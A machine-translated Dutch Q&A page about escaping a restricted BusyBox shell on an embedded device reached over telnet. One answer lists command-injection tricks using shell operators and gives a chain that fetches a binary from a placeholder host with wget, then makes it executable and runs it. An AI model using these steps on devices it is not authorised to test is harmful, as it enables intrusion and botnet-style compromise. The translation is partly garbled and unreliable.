Beperkte BusyBox-shell

Ik ben een ingebed apparaat aan het testen, en er is gebrek aan documentatie. Wanneer ik telnet naar het apparaat, krijg ik slechts een beperkte shell.

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

Dit is een beperkte shell, het is niet duidelijk, hoe kom je in de volledige shell?

Antwoord

  • Het commando dat je nodig hebt is chsh (verander shell) – dit maakt deel uit van de shadow of shadow-utils pakket.
  • Je kunt ook handmatig /etc/password bewerken om de shell van /bin/ash naar iets anders:

    BUT => wees heel voorzichtig dat de nieuwe shell bestaat of je zal vergrendelen jezelf eruit !!!


Je moet root om een van de bovenstaande te doen.

Answer

BusyBox is voornamelijk gericht op het optimaliseren van de grootte en commandos kunnen exc luded / opgenomen tijdens het compileren. Dus zonder aanvullende informatie te verstrekken, lijkt het een zeer beperkte set van geïnstalleerde componenten te zijn.

Het zou echter duidelijk moeten zijn dat dit betekent niet dat de firmware van het apparaat niet per se specifieke hulpprogrammas ondersteunt. Als dit niet helemaal duidelijk is, kijk dan eens naar de FAQ – Wat is Busybox sectie. Sommige citaten zouden dit volledig duidelijk moeten maken:

“Kan ik FTP inschakelen?” – “We weten niet of Foomatic-9000 firmware wordt geleverd met Busybox binair met geactiveerde ftpd-applet. (Als je toegang hebt tot de shell-prompt, probeer dan “busybox ftpd –help” uit te voeren). Als dit het geval is, kunt u het waarschijnlijk inschakelen. Helaas weten we niet hoe Foomatic-9000-firmware het starten en stoppen van verschillende services beheert (voor het geval ze al ftpd-service hebben en het is gewoon uitgeschakeld), of hoe we een nieuwe service op Foomatic-9000 kunnen maken en inschakelen (als ze niet). Probeer ernaar te googlen. “

” Kan ik SCP inschakelen? ” – “Busybox-1.23.4 heeft geen scp-applet. Foomatic-9000 kan echter scp hebben geïnstalleerd (bijvoorbeeld als dropbear is geïnstalleerd), en het kan mogelijk zijn om het in te schakelen. Zo niet, dan is het misschien mogelijk om te bouwen en installeer je eigen scp-tool. Probeer ernaar te googelen. “

Je moet je waarschijnlijk meer concentreren op het specifieke apparaat en de geïnstalleerde firmware, dan je concentreren op de beperkte set componenten gekoppeld aan Busybox zelf.

Reacties

  • ok, cli-commando vergeten.

Answer

Helaas voor jou proberen de meeste embedded apparaten (dwz routers, IoT-apparaten, enz.) tegenwoordig te voorkomen dat gebruikers toegang krijgen tot het interne systeem, zodat ze “t hacken of wijzigen. Dit is een maatregel om het werk van botnets zoals mirai te voorkomen, hoewel de beveiligingen niet altijd erg effectief zijn.

Een beperkte busybox-shell is een veelvoorkomend scenario. algemeen, busybox vereist een onderliggende shell als er ” s elke soort gebruikersinterface (zoals telnet of ssh). Dit betekent dat het mogelijk is om die shell te omzeilen en commandos op de onderliggende shell uit te voeren (dwz / bin / sh is heel gebruikelijk).

Voordat u probeert te ontsnappen aan de busybox-sandbox, moet u de volgende:

  • De fabrikant heeft mogelijk de busybox-shell aangepast om deze techniek te patchen.
  • De onderliggende shell kan een (volledige of gedeeltelijke) niet-geprivilegieerde shell zijn. Dit betekent dat zelfs als het je lukt om er commandos op uit te voeren, ze misschien niet werken of je vertellen dat je niet genoeg rechten hebt.
  • De onderliggende shell kan ook een andere beperkte shell zijn (niet gebruikelijk)

Als je eenmaal klaar bent, kun je de volgende “trucs” proberen: (Alle vertrouwen op shell-operators)

Probeer dingen als

echo "Hello World" & <your command> 

Dit zal je commando uitvoeren als:

  1. Het binaire bestand is beschikbaar (dus eigenlijk als het in het systeem is geïnstalleerd)
  2. De shell heeft er toegang toe (privileges)

Er zijn andere methoden zoals:

echo "Hello World" `your command` echo "Hello World" || <your command> 

En andere variaties je kunt het via internet vinden of het zelf proberen.

EDIT: ik ben aan het bewerken om een voorbeeld toe te voegen van hoe je aan de shell kunt ontsnappen en verdere uitvoering kunt krijgen.

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

of direct ./yourbinary

Dat is het idee. Wat betreft de chmod sorry, maar ik herinner me niet de exacte argumenten om uitvoeringsrechten te geven.

EDIT2: Ik heb gemerkt dat je shell ash zegt, dus waarschijnlijk is busybox uitgevoerd vanuit een (geautomatiseerd) script dat wordt uitgevoerd van as. In dit geval zou je commandos direct op de / bin / ash shell willen draaien.

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *